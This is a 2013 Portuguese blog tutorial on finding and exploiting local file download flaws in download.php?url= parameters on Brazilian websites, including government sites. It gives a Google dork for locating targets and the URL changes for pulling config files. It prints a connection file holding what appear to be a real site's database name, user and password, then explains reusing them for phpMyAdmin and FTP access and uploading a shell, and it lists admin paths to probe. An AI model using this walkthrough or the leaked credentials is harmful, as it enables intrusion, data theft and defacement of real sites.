terça-feira, 14 de maio de 2013

Olá, vamos a um artigo de como achar e explorar uma falha de fopen.
Fopen para quem não conhece, é uma falha que é muito comum, e facil de se explorar Sendo que é um passo para um acesso primordial ao Banco de dados completo do site.

Sites Do Governo a tem como filha, sendo que o sqli não é a mais comum.

Graças ao nosso grande amigo(Google), temos a possibilidade de achar falhas das maneiras rapidas e praticas, demonstração de dork simples:

inurl:.com.br/download.php?url=

obs: Lembrando, é só um exemplo de dork, voce pode variar da sua maneira. Sendo que essa dork é muito basica, podendo variar, voce acha verdadeiros Potes de ouro :)
A forma de identificar a vull, é alterando o final da url:
O final da url do site está:
http://www.(...).com.br/download.php?url=mib/homens_de_preto/Arquivo_confidencial/oi.php
Altere o final da url colocando "index.php":
http://www.(...).com.br/download.php?url=index.php
Caso o site permita o download da index, isso é sinal que o site está vulneravel a LFD/FOPEN, mais ai é que começa nossa busca pelos logins do Phpmyadmin do site.
Após o download da index.php do site, abra o arquivo index.php no bloco de notas, e procure por:
<?php
include("arquivo que guarda os logins, ou caminhos para eles")
ou
<? include('arquivo que guarda os logins, ou caminhos para eles'); ?>
ou
Só procure por arquivos relacionados como: Config.php , Conn.php , Admin/db_class.php , funcoes.php.
Geralmente varia, mais geralmente são esses os arquivos que armazenam os logins do banco de dados Mysql, porem as vezes apenas mostra o caminho, exigindo atenção do explorador da falha, pois as vezes o arquivo engana e faz voce baixar o errado, mais fazendo uma busca, ou apenas arriscando voce tem a possibilidade(ou sorte) de baixar o arquivo certo!
Vamos lah, no site que estou usando para elaborar o tutorial, achei o arquivo:

Gerenciamento/connect.php

Alterando a url e colocando no final:

http://www.(...).com.br/download.php?url=Gerenciamento/connect.php

Vai aparecer a caixa de Dialogo de Download do Seu navegador e depois é só baixar. ao término do download, voce abre o arquivo no Bloco de notas, e verifica se nele contém o user, pass, conexão, banco, etc...
Exemplo de como o arquivo está:
<?php
class Conexao{
      private $banco;
      private $usuario;
      private $senha;
      private $conexao;
      public function Conexao($bd,$user,$pas){
             $this->banco = $bd;
             $this->usuario = $user;
             $this->senha = $pas;
             $this->conexao = null;
      }
      public function conecta(){
             $this->conexao = mysql_connect("localhost",$this->usuario,$this->senha);
             mysql_select_db($this->banco,$this->conexao);
      }
      public function desconecta(){
             mysql_close($this->conexao);
             $this->conexao = null;
      }
      public function confere(){
             if ($this->conexao!=null)
                return true;
             else
                return false;
      }
}
// Alterar o $SiteAtual com (nome do BD, usuario do BD, senha do BD);
$SiteAtual = new Conexao("microemp_microempa","microemp_microem","m2i0c1r0");
?>
Organizando e pegando o essencial:
$this->banco = $bd;
$this->usuario = $user;
$this->senha = $pas;
$this->conexao = null;
$this->conexao = mysql_connect("localhost",$this->usuario,$this->senha);

obs: Lembrando, isso é só uma demonstração, pode variar, depende da programação do Banco De Dados...

Como Consegui pegar o que procurava, não existe necessidade de continuar a procurar outros arquivos pois já consegui os user e pass do PhpMyAdmin, ou seja, já tenho acesso a todo o Banco de dados
Com isso, posso procurar a pagina de administração do site, e posso procurar os logins da pagina de administração de noticias(ou do site inteiro). O que poucos sabem, é que geralmente(não todas as vezes) O mesmo user e pass do banco de dados do site, é o login do FTP do site, ou seja, voce tem acesso a todo o site de maneira ROOT, mais o que acontece? A maneira mais facil de se upar uma shell no servidor FTP >_< Usando um clinte de acesso remoto FTP, exemplo o FileZilla!
Mais são raros os casos, em que o user e pass do banco de dados, é o mesmo do ftp, porem, como todo mundo sabe, os administradores de sites, hoje em dia(ou sempre foi assim? O.O) Nunca foram dos mais espertos....

Continuando o tutorial sobre fopen, em muitos casos quando voce procura o phpmyadmin do site, voce se perde pois o administrador pode ser um pouco esperto, para facilitar um pouquinho a vida de um explorador da falha, vou dar uma dica bem basica de procurar o phpmyadmin, observe os links:

http://mysql.(...).com.br/ >>> Maioria dos casos é o mais usado pelos administradores expertinhos
http://www.(...).com.br/pma >>> Só usado pelos administradores burros .-.
http://www.(...).com.br/myadmin >>> Pouco usado
http://www.(..).com.br/(qualquer diretorio)/myadmin/pma >>> Só usado pelos administradores eexperientes 

é isso pessoal, para os expertos, usam essa falha pois o que todos não sabem é que ela é mais frequente do que o proprio sqli injection, mais como muitos deixam de procurar, se perdem e não se ligam, em falhas que podem ser mais simples, e mais comuns. Mais muitos se deparam com o LFD/Fopen, mais não sabem a maneira de explorar, tá ai, simples e poderosa, existem maneiras mais avançadas, que exigem paciencia demais do explorador.

É uma exploração simples, a maioria dos sites hospedados no servidor da locaweb estão vulneraveis a esta falha besta.

Mais isso não é o pior, os sites hospedados neste host, entregam praticamente todo o banco de dados, desde o acesso FTP, ao acesso da pagina de cms, este artigo é de fins para ensino, quem aprender e usa-lo para fazer o mal, será responsável pelos seus atos, a equipe da Brutal Security não se responsabiliza pelos fins que este artigo irá tomar nas mãos de quem aprender não incetivamos o Web Defacer, somente demonstramos como os "Defacers" fazem suas invasões.

Conhecimento não é crime, crime é não saber utilizar o seu conhecimento!

Um comentário:

Subscribe to RSS Feed Follow me on Twitter!